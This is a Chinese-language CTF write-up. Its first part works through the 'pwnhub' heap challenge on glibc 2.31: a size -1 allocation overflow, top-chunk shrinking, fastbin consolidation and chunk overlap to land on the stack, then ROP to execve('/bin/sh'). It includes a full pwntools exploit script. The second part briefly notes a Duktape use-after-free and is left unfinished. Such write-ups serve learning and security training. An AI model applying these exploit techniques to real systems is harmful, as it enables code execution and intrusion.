pwnhub

题目

alloc功能申请,size<=0x81
leak可以用来打印指针
read向拿到的指针读入相应大小内容

漏洞在alloc输入-1的时候实际上执行malloc(0),存下来的size是-1,0xffffffff,所以再使用read时能够溢出

思路

利用house of orange前半部分的思想,修改top chunk的size,不断耗尽其空间从而把chunk释放。由于版本是libc2.31,所以实际上chunk会被放入tcache中

第八个chunk就会被放入fastbin中。当找不到合适的chunk拿出且top chunk的size不够时,会调用malloc_consolidate。这一步会将fastbin中的chunk放进smallbin中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 use_top:
...

victim = av->top;
size = chunksize (victim);

if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
......
}

/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (atomic_load_relaxed (&av->have_fastchunks))
{
malloc_consolidate (av);
/* restore original bin index */
if (in_smallbin_range (nb))
idx = smallbin_index (nb);
else
idx = largebin_index (nb);
}

/*
Otherwise, relay to handle system-dependent cases
*/
else
{
......
}

具体的思路是首先往0x80的tcache放一个,然后往0x40的tcache放八个,最后再往0x80的tcache放一个,同时由于topchunk不够触发malloc_consolidate,0x40的fastbin就被放进了smallbin。
接着再以-1申请一个0x20大小的chunk,则smallbin的chunk被切割后放进unsorted bin中。利用刚在-1申请的chunk溢出修改切割后的0x20大小的unsorted bin的size为一个很大的值,准备拓展该chunk大小。然后再申请一个chunk,该chunk是从topchunk新切割的,在里面布置fake prevsizefake size,从而拓展刚才0x20大小的unsorted bin。

此时unsorted bin就包含了前面释放的0x80的tcache,不断申请即可修改其fd。由于第一次leak可以拿到栈地址,所以最后就能申请到maina函数返回地址上,再做rop即可。

exp

虽然题目给了些config文件啥的,貌似也没啥用…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

# r = process("LD_LIBRARY_PATH=./lib/ ./lib/ld.so --preload libdl.so.2 ./pwnhub")
r = process('./pwnhub')
elf = ELF('./pwnhub')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(sz):
r.recv()
r.sendline('3')
r.recv()
r.sendline(str(sz))

def read(ct):
r.recv()
r.sendline('1')
sleep(0.2)
r.send(ct)

def leak():
r.recv()
r.sendline('2')

leak()
data = u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')

stack_addr = data

add(-1)
read("A"*0x18+p64(0xd51))

for i in range(0x16):
add(0x80)
add(0x40)
add(0x80)

for i in range(8):
add(-1)
read("A"*0x18+p64(0xf51))
for j in range(0x1a):
add(0x80)
add(0x40)
add(0x80)

add(-1)
read("A"*0x18+p64(0xf51))
for j in range(0x19):
add(0x80)
add(0x60)
add(0x20)
add(0x80)

add(0x80)
read(p64(0x430e0)+p64(0x20))

add(-1)
read(b"A"*0x18+p64(0x430e1))

for i in range(0x3c7):
add(0x80)

read(b"A"*0x38+p64(0x81)+p64(stack_addr+0x10f))

add(0x77)
add(0x77)

prdi_r = 0x00000000004015e3
prsi__r15_r = 0x00000000004015e1
csu_down = 0x4015DA
csu_up = 0x4015C0

prdi_r = 0x00000000004015e3
prsi__r15_r = 0x00000000004015e1
csu_down = 0x4015DA
csu_up = 0x4015C0

pay = ''
pay+= p64(csu_down)
pay+= p64(0)+p64(1)+p64(0)+p64(stack_addr+0x10f+8*15)+p64(0x200)+p64(elf.got['read'])
pay+= p64(csu_up)
read(pay)

r.recv()
r.sendline('4')


sleep(0.5)

rop = ''
rop+= p64(csu_down)
rop+= p64(0)+p64(1)+p64(elf.got['puts'])+p64(0)+p64(0)+p64(elf.got['puts'])
rop+= p64(csu_up)
rop+= p64(0)*7
rop+= p64(csu_down)
rop+= p64(0)+p64(1)+p64(0)+p64(stack_addr+0x277)+p64(0x200)+p64(elf.got['read'])
rop+= p64(csu_up)
r.sendline(rop)

libc.address = u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-libc.sym['puts']
sleep(0.5)

r.sendline(p64(prdi_r)+\
p64(next(libc.search(b'/bin/sh')))+\
p64(libc.address+0x000000000002604f)+p64(0)+\
p64(libc.address+0x00000000001025ad)+p64(0)*3+\
p64(libc.sym['execve']))

print (hex(data))
print (hex(libc.address))

r.interactive()

reference

感叹一下老外写的是真细呀

https://eternal.red/2022/pwnhub/

dfs_

漏洞

UAF

1
2
3
4
5
6
7
8
9
10
11
duk_ret_t __cdecl duk_bi_typedarray_midnight(duk_hthread_0 *thr)
{
duk_hbuffer_0 *buf; // [rsp+18h] [rbp-8h]

buf = duk__require_bufobj_this(thr)->buf;
if ( !buf )
return 0;
if ( *&buf[1].hdr.h_flags )
duk_free(thr, *&buf[1].hdr.h_flags);
return 0;
}

没调完,先鸽